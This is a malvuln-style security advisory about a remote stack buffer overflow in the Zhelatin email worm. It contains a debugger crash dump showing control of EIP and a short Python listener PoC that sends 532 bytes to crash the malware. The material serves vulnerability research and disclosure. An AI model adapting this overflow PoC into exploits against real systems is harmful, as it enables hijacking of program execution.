EMAIL-WORM.WIN32.ZHELATIN.AGO / Remote Stack Buffer Overflow

us malvuln (US) us
Risk: Medium
Local: Yes
Remote: No

Discovery / credits: malvuln - (c) 2021 Original source: Contact: Media: Threat: Email-Worm.Win32.Zhelatin.ago Vulnerability: Remote Stack Buffer Overflow Description: Buffer overflow on server response TCP Port 80, upon receiving 532 bytes or more we can overwrite insruction pointer (EIP) to control program execution flow. Type: PE32 MD5: 0418e7f95a8b94c035e10749234f8378 Vuln ID: MVID-2021-0014 Dropped files: ASLR: False Safe SEH: True DEP: False Disclosure: 01/01/2021 [+] Download advisory Memory Dump: EAX : 00000000 EBX : 00000000 ECX : 76E77CB1 kernel32.76E77CB1 EDX : 00000000 EBP : 41414141 ESP : 0434F2E8 "AAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ESI : 76E8DE00 EDI : 764E38D0 EIP : 41414141 ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 0:003> .ecxr eax=00000000 ebx=00000000 ecx=76e77cb1 edx=00000000 esi=76e8de00 edi=764e38d0 eip=41414141 esp=0418f2e8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? Exploit/PoC: import socket port=80 payload="A"*532 def doit(): global payload s = socket.socket() try: host = '' s.bind((host, port)) s.listen(5) print('Email-Worm.Win32.Zhelatin.ago / Remote Stack Buffer Overflow') print('MD5: 0418e7f95a8b94c035e10749234f8378') print("By malvuln") while True: conn, addr = s.accept() conn.send(payload+'\r\n') conn.close() except Exception as e: pass if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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